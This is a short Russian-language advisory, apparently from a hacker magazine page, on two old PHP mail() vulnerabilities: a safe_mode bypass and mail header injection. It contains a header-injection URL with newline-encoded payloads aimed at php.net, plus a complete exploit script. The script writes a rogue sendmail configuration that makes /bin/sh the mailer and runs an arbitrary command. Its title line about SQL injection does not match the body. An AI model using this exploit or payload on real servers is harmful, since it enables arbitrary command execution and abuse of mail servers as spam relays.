Хакер #305. Многошаговые SQL-инъекции
PHP - среда разработки Personal HomePage от PHP Development Team. В PHP функции mail() обнаружено 2 уязвимости. Первая позволяет выполнять произвольные программы/сценарии в обход safe_mode, вторая позволяет подделывать почтовые заголовки и использовать сценарий в качестве открытого почтового ретранслятора.
Обход ограничений safe_mode: gятый аргумент в функции mail() позволяет
передавать опции командной строки к sendmail. Недавно была обнаружена возможность передачи метасимволов в 5-м аргументе, что позволяет выполнять произвольные команды оболочки или внешние программы. Эксплоит ниже.
Внедрение управляющих ASCII символов в параметры функции mail().:
если параметры передаются от пользователя, то он может подделать любые почтовые заголовки. Пример:
http://www.php.net/mailing-lists.php? maillist=your@email.com%0a&email=fake@from.net%0a.
Уязвимость обнаружена в PHP 4.0- 4.2.2.
8<----- bypass_safe_mode.php -----8<
<?
$script=tempnam("/tmp", "script");
$cf=tempnam("/tmp", "cf");
$fd = fopen($cf, "w");
fwrite($fd, "OQ/tmp
Sparse=0
R$*" . chr(9) . "$#local $@ $1 $: $1
Mlocal, P=/bin/sh, A=sh $script");
fclose($fd);
$fd = fopen($script, "w");
fwrite($fd, "rm -f $script $cf; ");
fwrite($fd, $cmd);
fclose($fd);
mail("nobody", "", "", "", "-C$cf");
?>